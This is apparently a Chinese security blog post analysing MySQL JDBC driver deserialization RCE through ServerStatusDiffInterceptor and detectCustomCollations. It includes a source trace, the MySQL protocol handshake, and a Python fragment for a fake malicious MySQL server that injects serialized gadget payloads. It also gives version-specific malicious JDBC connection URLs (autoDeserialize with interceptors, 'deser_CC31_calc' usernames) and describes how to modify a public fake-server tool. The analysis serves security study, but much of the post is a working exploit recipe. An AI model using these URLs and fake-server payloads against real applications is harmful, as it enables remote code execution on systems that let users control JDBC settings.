JDBC-Mysql反序列化
2024-08-09 18:22:17

属于是必学项,但是不知道为什么学的这么晚。不过好歹还是开始了

Mysql-JDBC反序列化

JDBC基础回顾

先看一段使用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
public class JDBCtest {
public static void main(String[] args) throws Exception{
//加载驱动。注意版本不同,Jdbc驱动的全类名路径就不同 如果是mysql-connector-java 6之后的版本就是我这个路径,如果6以前的版本,就是com.mysql.jdbc.Driver
String Driver="com.mysql.cj.jdbc.Driver";
Class.forName(Driver);
//连接的访问路径 JDBC特定路径
String url="jdbc:mysql://localhost:3306/jdbc?characterEncoding=utf8&useSSL=true&serverTimezone=GMT%2B8";
//进行连接
Connection conn = DriverManager.getConnection(url,"root","123456");
Statement statement=conn.createStatement();
//利用conn连接成功后的功能对象,进行SQL语句查询
ResultSet rs=statement.executeQuery("select * from users");
//循环遍历结果集,之后一一输出
while(rs.next()){
System.out.println(rs.getString("username")+" : "+rs.getString("password"));
}
}
}

一般来说这一段正常的SQL查询业务逻辑,我们能够控制的只有executeQuery中的参数,哪里出现的反序列化漏洞呢?

漏洞描述以及原文是这么说的:

(若攻击者能控制JDBC连接设置项,则可以通过设置其配置指向恶意MySQL服务器触发ObjectInputStream.readObject(),构造反序列化利用链从而造成RCE。
通过JDBC连接MySQL服务端时,会有几句内置的查询语句需执行,其中两个查询的结果集在MySQL客户端进行处理时会被ObjectInputStream.readObject()进行反序列化处理。如果攻击者可以控制JDBC连接设置项,那么可以通过设置其配置指向恶意MySQL服务触发MySQL JDBC客户端的反序列化漏洞。

总结一下原意就是JDBC在连接Mysql服务端的时候,会有几句内置的语句执行,这几句执行过后查询到的结果会在客户端进行readObject反序列化处理。参数控制在JDBC连接配置项中。可以被利用的查询语句有这两项:SHOW SESSION STATUS ;SHOW COLLATION,这两种会在之后的具体代码跟进中体现

既然我们能够控制的参数是JDBC连接项,首先先对几个与该漏洞有关的连接项进行分析(com.mysql.cj.conf。PropertyDefinitions​的源码中有详细定义):

  1. statementInterceptors:用于指定拦截器在SQL执行中和结果返回之前进行逻辑处理,在8.0之后的版本被queryInterceptors代替
  2. queryInterceptors,8.0之后替代了statementInterceptors的工作,实际上作用相同
  3. autoDeserialize:设置之后驱动器才能够自动识别含有BLOB的报文,并且反序列化
  4. detectCustomCollations:原本的意思是指是否检测服务器上安装的自定义字符集和排序规则,如果该选项为ture,驱动程序会在每次建立连接的时候获取其自定义字符集合排序规则。

利用点在Interceptors和detectCustomCollations中,我们一个一个来

下面的测试依赖版本:

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.12</version>
</dependency>
</dependencies>

ServerStatusDiffInterceptor

漏洞点探索

漏洞描述上说在连接数据MySQL服务端时,会有几句内置的查询语句需执行,也就是SQL query,一般包含。本身ServerStatusDiffInterceptor属于Interceptor,当我们执行SQL query的时候,就会触发Interceptor的preProcessor的方法。

最开始跟进DriverManager的getConnection,开始创建ConnectionImpl对象的时候,要根据JDBC启动项的URL中提取出启动项,封装为propertySet。当然还有一些必须要在SQL服务器上执行SQL语句之后获得结果才能设置。调用栈如下。其实整体还是在完成ConnectionImpl的创建。

image

具体的话在ConnectionImpl的setAutoCommit方法中,会调用到 SET autocommit等SQL语句的执行。该方法的主要作用是为了将每一个SQL请求当作一个独立的事务自动提交。也就是适用于简单操作。

image

之后跟进execSQL,在trycatch块中利用本地协议调用sendQueryString发送SQL请求, 前面的逻辑包括初始化设置以及检测连接状态等等

image

sendQueryString中的内容也只是根据此时的set autocommit等请求参数封装一下请求,后续跟进sendQueryPacket方法,发现调用了invokeQueryInterceptorPre,也就是ServerStatusDiffInterceptor的preProcess方法

image

经过两次跟进(因为有一层NoSubInterceptorWrapper的封装)到ServerStatusDiffInterceptor的preProcess方法

image

之后跟进populateMapWithSessionStatusValues的内容就是重头戏了,前面理解一下思路和为什么这么调就好。

这里的this.connection其实就是封装的ConnectionImpl,所以执行SQL的必要步骤还是一样–获取一个statement对象,然后去executeSQL语句,用结果集接收之后,调用resultSetToMap,将结果集进行map键值对处理

image

跟进resultSetToMap,在put方法中会发现他会对结果集调用getObject方法

image

继续跟进getObject方法,此时的结果集会将刚才执行set Autocommit执行结果序列化存储进行反序列化操作,漏洞点就是出在这。

一个是BITcase的情况

image

另外一个是BLOB类型的情况:

image

两者唯一的不同在于它数据包里面写的是BLOB还是BIT而已,执行逻辑其实是一样的

既然已经找到了具体的反序列化点,现在还需要保证两个点:

  1. JDBC在getConnection以及ConnectionImpl的实例化过程中和服务端进行的通信流程不能断,也就是我们要确保代码能够执行到这
  2. ServerStatusDiffInterceptor在执行preProcess进行SQL查询获取到的结果必须是我们绑定好的恶意序列化数据

下面一个一个来解决

伪造通信流程

这个流程其实就涉及到我们刚才一路跟进的过程,除去前面的流程,我们先来看getObject中的限制。

在getObject中有这么几个需要注意的地方,首先就是BIT选项,依然还是execSQL之后通过获取到的结果数据字节来判断是否为BIT类型,然后再读取columnIndexMinusOne​的值,也就是在resultSetToMap​中调用的两次getObject,他们给的参数第一个是1,第二个getObject是2,也就是说第一次进入getObject肯定是不能进入BIT选项进行反序列化的,会直接return null。所以需要我们将恶意数据存储到结果集的第二选项中。然后是对于PNAME_autoDeserialize​值,也就是我们启动项中?autoDeserialize=true​的原因,不然就无法进入if判断进行反序列化。

看完了getObject,我们留到最后去解决,现在回到最开始我们一路创建ConnectionImpl的开始的过程,看看我们为了伪造恶意SQL服务端还需要伪造哪些数据。这里涉及到MySQL的JDBC的认证流程,科学上网了解一下即可。

首先就是先访问和登录数据库,检测连接状态,这里还是比较好认的

image

image

首先是服务端发送的一段初始握手报文–Server Greeting,包含一系列的用于认证身份,密码加盐索要用到的值,以及确定当前认证插件的的名称等等。在此之后,客户端开始向我们发送了一段Login Request的包,主要信息包含客户端填入的username和加盐之后的密码,以及所用到的插件等等

image

之后服务端认证成功之后,返回一段Response-OK包,具体内容如图,整体的16进制形式每次Mysql-JDBC的连接都是相同的0700000200000002000000

image

之后代码调试界面一路跟进,又在ConnectionImpl的loadServerVariables方法中,发送了两段用来封装客户端属性的请求信息,其中都是用来在服务端需要执行的SQL语句,特殊关键词包括select @session.auto_increment_increment

第一段请求信息之后的返回报文如下:从01 00开始后面所有的数据都是而服务端需要返回的

image

第二段发送过来的SQL执行请求只有一句话 show warnings​,返回报文如下,依然还是0100之后的所有数据都是我们需要返回的

image

之后继续跟进代码,经过多次调试,其实直到最后的SHOW SESSION STATUS​之前,请求的信息和发包内容都是相同的,因为代码走的流程相同,所以之后总结一下前面的服务器返回包内容以及对应的客户端请求即可。

最后的show session status​指令返回包的结果集该如何构造呢?具体的代码如下,引用一下各大文章中出现的最多的伪造恶意SQL服务器代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
#获取payload
payload_content=get_payload_content()
#计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
#计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)

首先了解一下Mysql的结果集响应包的结构

image

image

具体的构造我也没太深入研究了,第一列的数据0100000102​主要作用就是标识我们存在两列的具体信息。第二列和第三列就是具体的每列信息的列定义,唯一的区别就在于各自的行号数据不同,一个是02,一个是03。然后是EOF的包的问题,如果在这两列列定义之后直接下构造好的EOF包会打不通,我也遇到了这个问题,稍微研究了一下代码层面的问题,如果按照已有的规则添加上EOF包,会存在resultSet中不存在值的情况,也就是提前结束的内容的读取,不知道是否是我构造的问题还是其他问题。

然后就是在最后执行的时候一些细节问题

一是,在mappedValues.put(rs.getObject(1), rs.getObject(2));​中,第一次getObject进来肯定会直接进入到if(this.thisRow.getNull(columnIndexMinusOne))的判断中(我截图里面第二次getObject了),所以会直接返回null

image

然后是-84和-19标识的就是AC ED,两个字节代表java序列化数据的标识

image

其实构造起来了解一下基本的流程就行,后续还是工具去利用了,简化一些步骤,用到了许少写的工具,然后发现了一个可能是小bug的地方

https://github.com/4ra1n/mysql-fake-server/releases/tag/0.0.4

使用时候注意用户名按照工具里面的生成的规则来写就行,其他就按照正常的payload写就没问题。因为用户名要用于提取Gadget对应name

利用总结

8.0.7-8.0.20

综合了一下上面的利用过程,不过多赘述

1
2
3
4
5
6
7
8
9
10
11
String Driver="com.mysql.cj.jdbc.Driver";
Class.forName(Driver);
//连接的访问路径
String url="jdbc:mysql://127.0.0.1:3309/jdbc?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&serverTimezone=UTC&useSSL=false";
//进行连接
Connection conn = DriverManager.getConnection(url,"root","123456");
Statement statement=conn.createStatement();
ResultSet rs=statement.executeQuery("select * from users");
while(rs.next()){
System.out.println(rs.getString("username")+" : "+rs.getString("password"));
}

6.0.2-6.0.6

6.x的版本总计这么多,其实我不太明白为甚没有7的版本,直接从6跳到8了

这里payload的更换的主要原因是queryInterceptors参数更换为了statementInterceptors,其他倒是没有什么不同

1
2
3
4
5
String url = "jdbc:mysql://ip:port/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ0MzMV9jYWxj";
String username = "base64ZGVzZXJfQ0MzMV9jYWxj";
String password = "";
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);

5.x之后都是最开始的5.1.10及以下作为一段,5.1.10以上作为一段,起初我一直在担心一个问题,就是不同版本下,直到最后SHOW SESSION STATUS​之前的流程,客户端所发过来的包会不会有所不同,那我们是否需要根据情况的不同来选择构造不同的回显包呢?带着这样的问题我去调试了一下,客户端发包到伪造服务端开启新线程进行逻辑处理,双向调试的流程下,发现其实不论哪个版本,前几个流程都是一样的。所以就不存在我刚才上面提到的问题。

但是5.x之后的版本有一点肯定是变的,mysql-jdbc的包名变了,所以相应的payload也在变

5.1.11-5.1x后续版本

1
2
3
4
5
String url = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc";
String username = "deser_CC31_calc";
String password = "";
Class.forName("com.mysql.jdbc.Driver");
DriverManager.getConnection(url,username,password);

5.1.0-5.1.10

唯一的区别在于,触发点不在getConnection了,而是在后续的statement.executeQuery​中

1
2
3
4
5
6
7
8
String url = "jdbc:mysql://ip:port/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ0MzMV9jYWxj";
String username = "base64ZGVzZXJfQ0MzMV9jYWxj";
String password = "";
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection(url,username,password);
while(rs.next()){
System.out.println(rs.getString("username")+" : "+rs.getString("password"));
}

这里我调试了一下,在5.1.2版本为例,这里初始化initializeStatementInterceptors​的过被放到了createNewIO里面,就导致了内置的SQL语句–SetAutoCommit执行时就不会调用到Interceptors​的逻辑。

image

之后再调用ResultSet rs=statement.executeQuery("select * from users");​的时候,由于statement的executeQuery方法是调用到了ConnectionImpl的executeqeuery方法,在执行的过程中,调用到MysqlIO的时候,会判断this.statementInterceptors是否存在,如果存在才会去调用其preProcess

image

所以理论上,只要我们在初始化ConnectionImpl的时候指定了Interceptor的话,之后利用ConnectionImpl进行SQL执行,并且将结果都,都会触发我们的反序列化。所以总的来说,ServerStatusDiffInterceptor的方式是利用了ConnectionImpl在初始化的时候,接受了不受信任的Interceptor进行初始化,并且也接受了不受信任的Mysql地址,进而造成了查询结果的反序列化。

然后利用的话也需要目标环境具有对应的依赖才能顺利执行。

总结下来Mysql的认证过程需要下面这几个部分我们来伪造:

  1. Greeting信息需要我们主动发送
  2. Greeting认证成功之后,发送OK package。客户端发送连接插件信息,也就是mysql-connector-java​的版本信息等
  3. 伪造对应的信息:max_allowed_packetsystem_time_zone​等,并且发送
  4. 客户端发送SHOW SESSION STATUS​信息,伪造对应的结果集数据包,然后发送

detectCustomCollations

此时的Mysql-JDBC版本是6.0.3,属于可干范围。

漏洞流程解析

流程还是比较简单的,跟Interceptor的利用有着异曲同工之妙,都是请求获取数据之后,在本地对结果进行反序列化

正常走流程,直接跟进到ConnectionImpl的初始化逻辑,并且走进熟悉的createIO方法,一路跟进到connectOneTryOnly方法,也就是和服务端建立通信连接并且执行几句SQL获取服务端的配置信息之后,继续跟进initializePropsFromServer()​方法

image

来到buildCollationMapping

image

又发现了熟悉的resultSetToMap了,但是前面我们还不能高兴的太早,依然是检查我们JDBC连接启动项中detectCustomCollations是否为true,为true才会进入后续的反序列化操作。

image

利用总结

detectCustomCollations的利用在于版本的限制比较多

6.0.2-6.0.6

没什么限制的一段版本,直接打就行

1
2
3
4
5
6
7
8
9
10
11
String Driver="com.mysql.jdbc.Driver";
Class.forName(Driver);
//连接的访问路径
String url="jdbc:mysql://127.0.0.1:24730/test?detectCustomCollations=true&autoDeserialize=true&user=base64ZGVzZXJfQ0MzMV9jYWxj";
//进行连接
Connection conn = DriverManager.getConnection(url,"base64ZGVzZXJfQ0MzMV9jYWxj","123456");
Statement statement=conn.createStatement();
ResultSet rs=statement.executeQuery("select * from users");
while(rs.next()){
System.out.println(rs.getString("username")+" : "+rs.getString("password"));
}

5.1.41-5.1.48

这个版本段也是可以打的,但是问题是他只会对结果集种的第三行数据进行getObject的反序列化操作

image

image

需要我们小改一下工具,许少之前已经写的差不多了,最后gadget写序列化数据的时候,3段行结果中,第三段是222的字节信息,转化过后是 03 32 32 32​,也就是222的16进制形式和其长度。这里我们为了兼容5.1.41-5.1.48的状况,只需要将结果集中第三行的数据改成data就行,这里的data就是序列化的payload

image

修改如下,重新打个jar包运行或者直接源码启动都可以。

image

5.1.29-5.1.40

很奇怪的版本划分,只有5.1.41部分是将返回结果集的第三列数据进行反序列化操作,其他版本都是全部采用反序列化,跟6.0.2-6.0.6没有区别

1
2
3
4
5
6
7
8
9
10
11
String Driver="com.mysql.jdbc.Driver";
Class.forName(Driver);
//连接的访问路径
String url="jdbc:mysql://127.0.0.1:24730/test?detectCustomCollations=true&autoDeserialize=true&user=base64ZGVzZXJfQ0MzMV9jYWxj";
//进行连接
Connection conn = DriverManager.getConnection(url,"base64ZGVzZXJfQ0MzMV9jYWxj","123456");
Statement statement=conn.createStatement();
ResultSet rs=statement.executeQuery("select * from users");
while(rs.next()){
System.out.println(rs.getString("username")+" : "+rs.getString("password"));
}

5.1.19-5.1.28

在这个版本区间中就不会检查detectCustomCollations=true​的选项了,但是有个最低版本限制,这肯定能过,因为最低版本限制为5.0.0,所以之前的payload甚至都不用改,只是需要加上autoDeserialize​的选项即可。

image

其他版本,8往上,以及5.1.19往下,由于buildCollationMapping方法中不再调用resultSetToMap方法,所以不再存在利用途径。

image